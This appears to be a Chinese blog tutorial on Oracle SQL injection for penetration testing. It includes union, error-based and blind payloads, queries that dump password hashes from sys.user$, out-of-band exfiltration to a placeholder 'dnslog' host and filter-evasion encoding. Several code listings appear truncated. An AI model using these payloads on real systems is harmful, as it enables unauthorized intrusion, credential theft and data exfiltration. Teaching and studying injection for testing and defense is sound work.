0x00
前言
最近在实习,渗透跟CTF
真的差距很大,既然如此,我就去学一下在实战环境中比较常见的Oracle
数据库注入吧。毕竟sql
注入这个东西在CTF
中已经被玩坏了。想在大型比赛中看到正常的sql
注入简直就是天方夜谭。只能靠自己的学习以及实战环境的摸索了。
0x01
入门
1.1安装
既然是入门的话,那么首先就是Oracle
的安装教学。
1.2基础语法
既然要了解Oracle
,那么Oracle
的基础语法一定要会,这里就默认有mysql
基础了。讲一下和mysql
不一样的地方。
1 Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录
然后就是sql
语句的几个不同点。
sql
语句中必须要加 select 指名表名。也可以使用dual
表进行查询。Oracle
中只有null
这个概念,没有空字符串这个概念,空字符串就是null
。Oracle
和sqlite
有点像,都是使用||
当做字符串的连接符。所以在sql
注入的时候自然也就有了replace
注入。Oracle
的单引号和mysql
是一样的,不过双引号是用来消除系统关键字的。我们曾经看到的
rownum
是真是存在的。并且oracle
中没有limit
只能用下面的方式代替:1
select * from pyy where rownum=1;
单行注释采取和
sqlite
相同的--
。而多行注释符采用/**/
。
1.3系统表
Oracle
的系统表:
- dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
- all_tables : 当前用户有权限的表的信息
- user_tables: 当前用户名下的表的信息
- DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
- ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
user_tables
的范围最小,all_tables
看到的东西稍多一些,而 dba_tables
的信息最全。范围是:
1 | dba_tables >= all_tables >= user_tables |
1.4权限和用户
- DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
- RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
- CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
一般oracle数据库安装成功后会创建几个默认用户sys
、system
、public
等。
https://www.cnblogs.com/yw0219/p/5855210.html
其实oracle
的结构和实例也是一个重点,但是这里就不详细讲了。有兴趣的可以看看下面的参考。
1.5查询数据
获取数据库版本:
1
2
3
4SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
具体注入的语句:
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +获取操作系统版本:
1
2SELECT banner FROM v$version where banner like 'TNS%';
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +获取当前用户权限的所有数据库:
1
SELECT DISTINCT owner, table_name FROM all_tables;
获取当前数据库:
1
2
3
4SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;获取用户相关信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34SELECT user FROM dual;获取当前数据库用户
SELECT username FROM all_users ORDER BY username;列出所有用户
SELECT name FROM sys.user$; — priv;列出所有用户
列出密码哈希:
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ — priv; 11g
获取数据库所有用户:
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv;
SELECT * FROM session_privs; 获取当前用户权限
SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限
获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
获取所有数据库用户密码
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;
列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
SELECT name FROM V$DATAFILE; 获取DB文件路径获取字段名和表名
1
2SELECT table_name FROM all_tables; 获取表名
SELECT column_name FROM all_tab_columns; 获取字段名
1.6有可能用到的函数
Initcap 将首字母大写,其余字母全部小写。
Lower 将所有字母全部转为小写。
Upper 将所有字母全部转为大写。
Concat 链接多个字符串,效果等同于
||
。SELECT Concat ('a', 'b') FROM dual 结果:ab Select 'a' || 'b' from dual 结果:ab <!--9-->
trim 清除两边的空格
https://www.cnblogs.com/Johnny_Z/archive/2010/10/31/1865673.html
1.7经典注入语句
1 | 1.查询所有数据库 |
1.8寻找注入点
注意:尽量不要使用类似and 1=1
这样的语句来判断是否含有注入点。我们可以使用加减乘除的方式来哦安短是否存在注入。因为注入的本质就是你写进去的数据被成了代码执行。
1 | #通过 <> 来判断 |
当然,上面的都是一些不带引号的注入点,如果带引号怎么办呢?
1 | #通过<>来判断 |
笔者注:经过了实战的sql
注入挖掘漏洞之后,我发现一般在注入中最好不要含有%20
这种东西,建议以后测试的时候都使用+
代替。笔者注结束。
0x02
注入
基本类型的注入上面已经说过了。这里重点提一下盲注。
2.1布尔盲注
1 | 利用字符串相关函数,对逐个字符进行比较猜解来获取数据 |
2.2时间盲注
1 | 利用时间延迟函数配合replace和substr以及decode来进行注入 |
2.3报错注入
- utl_inaddr.get_host_name
1 | 在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限 |
- ctxsys.drithsx.sn
1 | 处理文本的函数,传入参数错误的时会报错返回异常 |
- CTXSYS.CTX_REPORT.TOKEN_TYPE
1 | 用于处理文本,也会出现参数错误返回异常 |
- XMLType
1 | XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据 |
- dbms_xdb_version.checkin
1 | select dbms_xdb_version.checkin((select user from dual)) from dual; |
- dbms_xdb_version.makeversioned
1 | select dbms_xdb_version.makeversioned((select user from dual)) from dual; |
- dbms_xdb_version.uncheckout
1 | select dbms_xdb_version.uncheckout((select user from dual)) from dual; |
- dbms_utility.sqlid_to_sqlhash
1 | SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual; |
- ordsys.ord_dicom.getmappingxpath
1 | select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual; |
- UTL_INADDR.get_host_name
1 | select UTL_INADDR.get_host_name((select user from dual)) from dual; |
- UTL_INADDR.get_host_address
1 | select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual; |
2.4联合注入
利用union select
从而达成联合注入。
Tips: 因为Oracle
是强匹配的,所以在Oracle
进行类似Union
联合查询的时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle
没有limit
函数,要通过'>=0<=1'
这种形式来指定。
1 | select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5 |
具体操作流程:
先用order by
来判断列数:
1 | ?id=-1'% order by 10 -- |
判断列数后使用null
来填补注入数据。
1 | ?id=-1' union select null,null,null,null,null,null,null,null,null,null from dual -- |
然后注出数据库的名称:
1 | ?id=99' union select null,null,null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual -- |
然后注出列名:
1 | ?id=99' union select null,null,null,null,(select table_name from user_tables where rownum = 1),null,null,null,null,null from dual -- |
最后根据获得列名来爆数据。
2.5OOB通道
OOB
带外通道,使用一些常规通道之外的替代信道请求服务器资源。一般我们可以使用HTTP
或者DNS
请求将信息外带。具体的操作过程有点像XXE
中的getflag
或者命令执行中使用curl ip -d /flag
的执行结果。我们可以通过这种方式极大的加快盲注的速度。
当然请求外带的前提条件当然是靶机可以访问外网啊。另一个条件就是我们的用户要有足够的请求外网的权限。下面列出几种可以实现http
请求攻击的渠道。
utl_http.request
1
2
3#utl_http.request向外网主机发送http请求,需要出外网http
select utl_http.request('dnslog'||(select user from dual)) from dual;
#注意一下哦。这里的 || 是字符串连接符,别搞错了好吧。dnslog指的是你的地址。utl_inaddr.get_host_address
1
2
3dns解析带外
把查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果
select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dualSYS.DBMS_LDAP.INIT
1
2在 oracle 10g和11g里面只需要public权限
SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;HTTPURITYPE
1
2HTTPURITYPE根据给定的URI创建一个实例
SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;
以下几个都可以发出网络请求:
1 | UTL_INADDR.GET_HOST_ADDRESS |
0x03
绕过
3.1编码绕过
我们可以使用hextoraw()
和asciistr()
配合UTL_RAW.CAST_TO_VARCHAR2()
函数来实现编码的绕过。
1 | hextoraw():十六进制字符串转换为raw |
使用rawtohex()来进行ascii的解码
1 | SELECT rawtohex('abcdef') FROM dual |
下面是一些利用编码绕过的情况
1 | SELECT 1 FROM dual; 正常语句 |
0x04
参考
留个链接,学Oracle了。